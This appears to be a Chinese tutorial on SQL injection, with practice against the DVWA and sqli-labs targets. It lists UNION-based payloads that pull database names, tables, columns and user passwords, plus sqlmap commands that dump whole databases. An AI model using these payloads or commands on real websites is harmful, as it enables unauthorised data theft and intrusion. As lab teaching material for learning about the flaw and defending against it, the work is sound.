一.sql注入漏洞
1.原理
当我们访问动态网站时,web服务器会向数据访问层发起sql查询请求,如果权限验证通过就会执行sql语句(这种网站内部发起的sql语句一版没有危险,但很多情况下要结合用户输入数据动态构造sql语句,如果用户输入恶意的sql代码,web又不对动态数据进行审查,则会有意想不到的危险)
2.危害
(1)拆解后台数据库,这是最常用的,看可以获取敏感信息
(2)绕过认证,可以绕过网站登录到后台
(3)注入可以借助数据库的储存过程进行提权操作
(4)网站挂马,传播恶意软件
(5)服务器被远程控制,开后门
3.SQL基础实战
(1)判断注入点
通常情况下存在SQL注入漏洞的是类似这种形式Https://xxx.xxx.xxx/abcd.php?id = xx;
(2)判断是否存在SQL注入
最简单的单引号判断法:在URL后面加上单引号,如果页面返回错误则存在SQL注入
(3)判断SQL注入的类型
数字型
一般的格式为 select * from <表名> where id = x
这种可以用经典的 and 1 = 1 和 and 1 = 2 来判断
select * from <表名> where id = x and 1 = 1; 页面正常
select * from <表名> where id = x and 1 = 2;页面运行错误,说明存在SQL注入
字符型(数字型的不能用来判断字符型)
一般的格式为 select * from <表名> where id = ’x‘
这种可以用经典的 1‘ and ’1‘ = ’1 和 1’ and ‘1’ = ‘2 来判断
select * from <表名> where id = ‘x’ and ’1‘ = ’1’; 页面正常
select * from <表名> where id = ‘x’ and ‘1’ = ‘2‘;页面运行错误,说明存在SQL注入
还有其他的字符型就不一一介绍了(例如双引号字符型,单引号加小括号字符型,双引号加小括 号字符型)
(4)爆破步骤
?id = 1 order by 3 #(查看有几个字段)
?id = -1 union select 1,2,3 #(查看那几个位显示)
?id = -1 union select 1,database(),version()#(查看数据库名和版本)
?id = -1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = "database()"#
(爆破表名,因为MySQL所有的表名都储存在information_schema.tables这里)
?id = -1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = "表名"#(爆字段名)
?id = -1 union select 1,2,group_concat(password,username) from 表名#
(爆数据库用户和密码)
(5)分类
按注入分类 :字符型和数字型
按请求方式分类 :get注入,post注入,Cookie注入,http header注入
按是否有回显 : 显注,盲注
(6)注入手法类型
联合注入,布尔盲注,报错注入,延时盲注,宽字节与二次注入,Cookie注入,http header注入(各种类型不做详解,后续可能会做)
二.dvwa靶场练习
【Low】级别
首先判断是否存在SQL注入,当输入1时,回显正常,可以判断存在sql注入。
接下来判断SQL注入是什么类型的
输入1 and 1 = 1
在输入1 and 1 = 2
发现都没有报错说明不是数字型的,是字符型的
再来试试单引号1’ and ‘1’ = ‘1
而1’ and ‘1’ = ‘2
没有返回,所以是单引号注入类型
之后就可以用order by 确定字段个数
再用union select 1,2,3.....(几个字段数就写几个,为的是确定显示位)
之后就是联合注入的模板(注:爆破出来的密码都是用MD5加密了的,可以在网上找到解码工具)
漏洞原因:没有进行预编译;用户数据拼接了代码,没有实现代码、数据分离;没有进行敏感字符过滤。
【Medium】级别
这个级别就是只有选项了,所以我们需要使用BP来进行抓包,改包,重放(没学过的请自行跳过)
先来判断数字型(方法同上)
发现是数字型,接下来就是同Low级别一样了,判断显示位,爆数据库,爆表名,爆字段,最后爆数据库的账户和密码
【High】级别
同medium
(我写的都是SQL Injection,SQL Injection (Blind)并没有写,因为太麻烦一般都会采用sqlmap自动化注入)
三.sqlmap自动化注入
sqlmap在kali操作系统里有下载无需再下载了
想在windows里安装sqlmap,首先要安装python,因为windows的sqlmap根据python来运行的
(注:重点sqlmap支支持python2.7及其以下的版本,python3.几的会出错误,尤其是电脑里 2,3都有的在环境配置那里一定要把python2的路径放在python3上面)
基础命令
1.判断网址是否有SQL注入漏洞(如果是多个网址双引号必须加)
sqlmap -u "⽹址"
结束以后会得到该⽹站的数据库,操作系统,服务器等版本信息,注入的方式等
2.如果存在漏洞可以使用以下命令注出当前网站下所有数据库名
sqlmap -u "⽹址" --dbs
3.注出指定数据库下的所有表名
sqlmap -u "⽹址" -D 数据库名 --tables
4.注出指定数据库指定表下所有列信息
sqlmap -u "⽹址" -D 数据库名 -T 表名 --columns
5.注出所有指定列数据
sqlmap -u "⽹址" -D 数据库名 -T 表名 -C 列名 --dump
6.在任意环节使用--dumps,可以将所有数据注出,如指定数据库使用,注出所有数据库下的所有表的所有字段信息
--batch命令可以自动跳过选择项,按默认选项注入
进阶命令
四。sqli-labs-master靶场练习(sqlmap)
1.level1-10
直接上模板
sqlmap -u "url"
sqlmap -u "url" --dbs
sqlmap -u "url" -D 数据库名 -T 表名 --columns
sqlmap -u "url" -D 数据库名 -T 表名 -C 列名 --dump